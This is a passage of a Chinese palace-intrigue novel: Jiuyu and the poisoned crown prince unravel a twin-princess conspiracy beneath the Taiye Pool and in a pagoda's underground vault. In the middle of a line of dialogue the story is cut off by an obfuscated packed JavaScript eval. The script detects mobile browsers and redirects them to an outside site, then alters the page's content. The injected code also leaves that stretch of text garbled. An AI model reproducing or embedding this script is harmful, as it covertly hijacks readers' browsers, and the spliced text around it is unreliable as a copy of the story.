"林统领如此心急,莫不是怕本宫查清太液池的真相?"太子声音冷如冰碴,指尖却悄悄按上久榆掌心,那是他们昨夜约定的暗号:若遇危险,便用龙鳞甲内刻的星图定位密道。 皇上扶着龙榻剧烈喘息,目光死死盯着久榆手中的日记:"你母亲...她当年确实说过双生的事,但朕以为...以为阿宴已经死在火场..." "火场本就是局。"久榆展开泛黄的纸页,字迹被水渍晕染却依然清晰,"淑妃买通钦天监,在正月十六夜制造''天有异象''的谣言,引先皇后到太液池观星。冰面下早埋了生石灰,遇水放热炸裂冰面,而真正的凶手..." 她忽然转身指向皇上案头的琉璃香炉,炉中燃着的沉水香气味异于往常:"是''雪融香'',这种西域香料遇冷凝香,能让冰面下的尸体延缓腐烂。淑妃当年就是用这香配合冰鉴司的''玄冰锁'',将阿宴的尸体封在太液池底,制造''失足溺亡''的假象。" 林彻的剑尖微微颤抖,久榆趁机瞥见他腰间玉佩内侧刻着的梵文——那是"往生"的意思,与沈相旧宅暗格里发现的佛珠铭文一致。 "够了!"皇上突然剧烈咳嗽,嘴角溢出鲜血,"传太医!传太医院..." 殿外突然传来整齐的脚步声,数百名禁军甲胄鲜明地将乾清宫团团围住。林彻忽然扯掉胸前的禁军腰牌,露出里面暗藏的青铜令牌,上面赫然刻着"玄甲卫"三字——那是二十年前被先帝亲手剿灭的暗卫组织。 "太子殿下果然聪慧,"林彻摘下面甲,露出左眼角的刀疤,正是沈相府灭门案中唯一失踪的暗卫"血鸦","可惜你们太晚发现,皇上早已中了''牵机散'',此刻怕是连皇子名单都看不清了。" 久榆感到太子掌心全是冷汗,却见他忽然轻笑一声:"你以为本宫不知道玄甲卫的老巢在西苑枯井?昨夜子时,大理寺卿已经带着神机营去''打水''了。" 话音未落,殿外传来剧烈的爆炸声。林彻脸色骤变,挥剑直取皇上咽喉,却被久榆甩出的龙鳞甲碎片划破手腕。太子趁机将久榆推进龙榻后的暗格,那是只有历任太子才知道的逃生通道。 "拿着这个。"太子塞给她一枚刻着北斗七星的玉佩,"去沈相旧宅的地窖,那里有先皇后留下的...咳!" 他突然捂住心口,咳出的血滴在久榆斗篷上,竟呈现出诡异的蓝色——是鹤顶红的毒。久榆这才惊觉,方才太子揽住她时,袖口露出的皮肤已有青斑,原来沈砚之狱中服毒只是幌子,真正的毒早就下在了太子的暖炉里。 "别管我,快走!"太子推她的力道忽然变弱,眼神却异常清醒,"记住,龙鳞甲的纹路对应着钦天监的星图,正月十六的子时三刻,太液池底会出现..." 暗格突然剧烈震动,显然是外面在砸门。久榆咬咬牙,将龙鳞甲碎片塞进太子手中,转身钻进密道。通道里弥漫着陈年霉味,墙缝里偶尔闪过磷火般的蓝光,那是用鱼骨粉绘制的星图标记。 不知爬了多久,她忽然摸到一块凸起的青砖,上面刻着半朵梅花——正是母亲绣在襁褓上的图案。用力按下后,眼前豁然开朗,竟是太液池底的冰窟。月光透过冰面裂痕洒下,映出中央石台上的青铜棺椁。 棺椁四周刻满了镇邪符文,正是《调冰秘录》里记载的"寒泉锁魂阵"。久榆拿出从茯苓尸体上找到的钥匙,那钥匙齿纹竟与棺椁锁孔严丝合缝。棺盖推开的瞬间,一股白雾扑面而来,她连忙屏住呼吸,却见棺中躺着的并非尸体,而是一卷泛黄的密旨。 密旨上盖着先皇后的凤印,字迹是用朱砂混着金粉写的:"双生之秘,实为社稷之基。若吾儿得见此旨,望携龙鳞甲赴观星台,正月十六夜子时,星移斗转之际,可破二十年迷局。" 身后突然传来脚步声,久榆迅速将密旨藏进衣襟,转身只见林彻捂着流血的肩膀走来,腰间玉佩已换成了完整的"双生"图案。 "聪明的丫头,"他扯下染血的袖口,露出小臂上的刺青——正是先皇后的鸾鸟图腾,"当年先皇后为保血脉,将双生公主之一寄养民间,却不知那户人家正是玄甲卫的暗桩。你以为沈相是忠臣?他不过是想培养公主成为傀儡!" 久榆后退半步,触到冰墙上凸凹的纹路,竟与龙鳞甲的梅花裂痕吻合。她忽然想起太子说的星图,连忙将龙鳞甲碎片按在冰纹上,只听一阵机关转动声,冰面下升起一座八角形祭坛,坛心嵌着颗拳头大的夜明珠,正是传说中先皇后的"照夜玑"。 林彻瞳孔骤缩:"你竟然知道''天玑阵''!当年淑妃就是用这阵法将阿宴的魂魄困在太液池底,如今只要拿到照夜玑,就能..." "就能让先皇后的血脉彻底消失?"久榆打断他,指尖抚过夜明珠,忽然感到一阵刺痛,鲜血滴在珠面上竟凝成冰晶,"可惜你忘了,双生公主的血能激活阵法。母亲用自己的命护住了姐姐,而我——" 冰面突然剧烈震动,十六道冰棱从祭坛四周升起,每道都刻着不同的星象。久榆按照龙鳞甲的纹路站位,只见夜明珠突然爆发出强光,将林彻的影子投射在冰墙上,竟分成了两半——一半是玄甲卫的暗纹,另一半却是太子的麒麟图腾。 "你...你是双胞胎?"久榆惊觉林彻的眉形与太子竟有几分相似,忽然想起皇上案头的皇子玉碟,其中"早夭"的二皇子生辰正是正月十六。 林彻惨笑一声,任由冰棱刺穿肩膀:"皇上当年为绝后患,命玄甲卫处理双生公主,却不知淑妃暗中调换了孩子。我才是真正的宁公主,而你——不过是沈相从孤儿院里抱来的替死鬼!" 话音未落,祭坛中央裂开一道缝隙,露出下面黑沉沉的水池。久榆感到有什么东西在拽她的脚,低头竟看见无数冰手从水中伸出,每只手的小指都缺了半截——正是这些年太液池"意外溺亡"的宫女太监,他们的魂魄竟都被锁在阵中。 "久榆!"熟悉的声音从冰面传来,太子竟拖着染血的龙鳞甲爬了进来,身后跟着浑身是伤的大理寺卿,"快毁掉照夜玑,那是用活人魂魄炼成的..." 他突然被林彻挥剑扫倒,龙鳞甲碎片飞落在祭坛边缘。久榆看着太子胸前渗出的蓝血,忽然想起母亲日记里的最后一页:"若遇绝境,以血祭鳞,可破万阵。" 她咬碎舌尖,将鲜血喷在龙鳞甲上,碎片竟自动拼合成完整的甲胄,发出龙吟般的清响。冰棱上的星象开始逆转,照夜玑出现裂纹,那些冰手突然转向林彻,将他拖向水池深处。 "不!我才是正统!"林彻的惨叫被冰水吞没,水面泛起层层涟漪,映出天际划过的流星——正是钦天监记载的"荧惑守心"异象。 太子挣扎着爬过来,握住她染血的手:"你看...星图变了。" 久榆抬头望去,只见冰面裂痕在月光下组成新的图案,那是北斗七星拖着长尾,指向紫禁城西北角的废弃佛塔。而皇上的密旨不知何时从她衣襟滑落,背面竟用隐血写着:"佛塔地宫,藏着真正的传国玉玺。" 太液池传来冰面彻底融化的轰鸣,二十年前的积雪终于化作春水,冲走了池底的骸骨与秘密。久榆扶着太子走出冰窟,看见天边泛起鱼肚白,而乾清宫方向燃起了熊熊大火——那是新的时代即将来临的预兆。 "等一切结束,"太子将她的手按在自己左胸,那里有枚与她一模一样的胎记,"我带你去看真正的星空,不再有阴谋,不再有杀戮。" 久榆望着他眼中倒映的晨光,忽然想起母亲日记的最后一句:"冰面下的骸骨终将重见天日,而真相,永远比冰更冷,比血更热。" 远处传来钟鼓齐鸣,这是紫禁城迎来的第十六个正月十七,却也是某些东西彻底死去的夜晚。她握紧太子的手,感觉到龙鳞甲在掌心发烫——那不是诅咒,而是新生的火种。 五更的梆子声惊起寒鸦,久榆扶着太子踉跄穿过御花园。他的体温异常灼人,鹤顶红的毒正顺着血脉侵蚀心脉,每走一步都在咳出碎冰般的血沫——这症状竟与母亲日记中"冰蚕蛊"的记载吻合。 "太子殿下中毒已深,需立刻用冰泉镇心。"大理寺卿撕开衣襟,露出锁骨下方的青色咒印,"卑职曾随沈相研习毒术,这蛊虫喜暖畏寒,太液池底的玄冰髓或许能..." "来不及了。"太子按住他的手,指尖指向西北方的佛塔,塔身八角形结构与龙鳞甲纹路完全重合,"先去地宫。传国玉玺上刻着''受命于天,既寿永昌'',唯有真品能破...破淑妃的厌胜之术。" 佛塔基座的杂草间露出半块雕花青砖,久榆依照龙鳞甲的星图方位踩下,地面轰然裂开丈许宽的石阶。地宫门扉上刻着二十八星宿浮雕,中央石槽恰好能嵌入北斗玉佩。当玉佩严丝合缝嵌入时,四周突然亮起人鱼膏烛火,照见甬道尽头悬浮着的九口青铜鼎。 "是''九宫锁魂鼎''。"太子瞳孔映着摇曳烛火,声音里带着抑制不住的颤抖,"先帝临终前曾说,鼎中封存着开国功臣的魂魄,若遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506329|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逆贼觊觎,便会..." 话音未落,第三口鼎突然剧烈震动,鼎盖掀开一角,露出里面蜷曲的骸骨——腰间挂着的正是林彻那枚"双生"玉佩。久榆注意到每具骸骨的左手小指都缠着红绳,与太液池底的冰手如出一辙,显然都是被阵法献祭的祭品。 "小心!"大理寺卿突然拔剑劈向头顶,只见无数蛛网状的银丝从天而降,每根丝上都串着枚刻字的铜钱。久榆认出那是"厌胜钱",正面刻着"千秋万岁",背面却是狰狞的杀阵图。 太子忽然从怀中掏出半块龙鳞甲,甲片上的梅花纹路竟与鼎身暗纹一一对应。当他将甲片按在第五口鼎上时,所有烛火突然转为幽蓝,墙面上浮现出用尸蜡书写的铭文:"双生现,乾坤乱,唯有血祭,方能解悬。" "传国玉玺根本不在这儿。"久榆捏紧母亲的日记,发现内页夹层掉出片干枯的梅瓣,那是沈相旧宅暗格里的遗物,"这是''望梅止渴''的机关,真正的地宫入口...在梅树根系之下。" 果然,甬道尽头的假山上种着株百年老梅,树根处有处形如梅花的凹陷。久榆将梅瓣放入凹痕,整座假山竟缓缓旋转,露出通往更深地宫的阶梯。下方传来潺潺水声,混合着令人牙酸的金石摩擦声,像是有什么古老器物正在苏醒。 地宫中央是座圆形水池,水面漂浮着数百盏琉璃灯,每盏灯上都刻着先皇后的生辰八字。池底沉着块巨大的青石板,板上刻着尚未完成的星图,空缺处正好能放入照夜玑的碎片——久榆这才惊觉,方才在太液池祭坛碎裂的夜明珠,竟不知何时被她攥在掌心。 "星图不全,无法定位玉玺。"太子跪坐在池边,冷汗浸透中衣,却仍强撑着用指尖在水面画卦,"乾为天,坤为地,震为雷...久榆,你看水面的波纹!" 她这才注意到,每盏琉璃灯的倒影都在水面形成特定卦象,连起来正是《周易》中的"既济卦"。当她将照夜玑碎片放入星图空缺处时,所有琉璃灯突然同时亮起,水面浮现出立体星图,正北方位的星芒格外耀眼——对应着佛塔顶层的北斗七星浮雕。 "去塔顶。"太子扯下腰间的玉带,将两人手腕紧紧捆在一起,"当年先皇后常说,''最危险的地方最安全''。传国玉玺若真能号令天下,必定藏在...咳!" 他猛地喷出口蓝血,染湿了久榆前襟。大理寺卿连忙撕开随身药囊,取出枚蜡丸塞进太子口中:"这是沈相临终前留给姑娘的''冰蟾丸'',可暂缓毒性,但只有半颗..." "够了。"久榆按住太子后颈,强行将药丸喂下,感觉到他指尖在她掌心轻轻画了个"宁"字——那是先皇后为双生公主准备的封号,如今却成了未解之谜。 佛塔顶层的天窗正对着北斗七星,石案上摆着个八角形木盒,盒盖上刻着"受命于天"四字。当久榆将龙鳞甲与照夜玑碎片同时放在盒上时,木盒自动打开,却见里面空无一物,只有镜面上倒映出她与太子的身影——两人额角的胎记竟拼成完整的鸾鸟形状。 "镜中玄机..."太子忽然笑了,笑声里带着解脱般的畅快,"传国玉玺从来不在别处,就在双生血脉之中。淑妃当年想杀的不是先皇后,而是..." 塔身突然剧烈晃动,无数砖石簌簌掉落。久榆看见塔外火光冲天,乾清宫的方向已被浓烟笼罩,而晨光中隐约可见一队身着玄甲的士兵正向佛塔逼近。她握紧太子的手,感觉到他掌心的温度正在回升,冰蟾丸的药效开始发挥作用。 "无论真相如何,"她将额头抵在他肩上,听见彼此剧烈的心跳声,"我们一起面对。" 太子低头吻了吻她发顶,指尖拂过镜面上的鸾鸟图腾。随着第一缕朝阳穿透云层,镜面突然裂开,露出夹层中半块染血的玉玺——正是先皇后当年为双生女儿准备的信物,每块上都刻着"宁"字的一半。 塔下传来林彻的怒吼,显然他并未被冰棱彻底杀死。久榆将两半玉玺拼合,只听一声清越龙吟,整座佛塔竟开始缓缓旋转,露出地基中深埋的地宫入口——那里沉睡着的,正是被封存二十年的先皇后遗体,她怀中抱着的,是另半块龙鳞甲。 "原来如此..."太子声音颤抖,"先皇后才是真正的双生公主,她用自己的血脉设下局中局,只为让真相在二十年后果熟蒂落。而我们..." 久榆望着先皇后宁静的面容,终于明白母亲日记里"冰面下的骸骨"何止是无辜者,更是整个王朝的原罪。她握紧太子的手,感觉到龙鳞甲与玉玺同时发热,在晨光中映出彼此交叠的影子——那不是公主与太子,而是破局者与造梦者。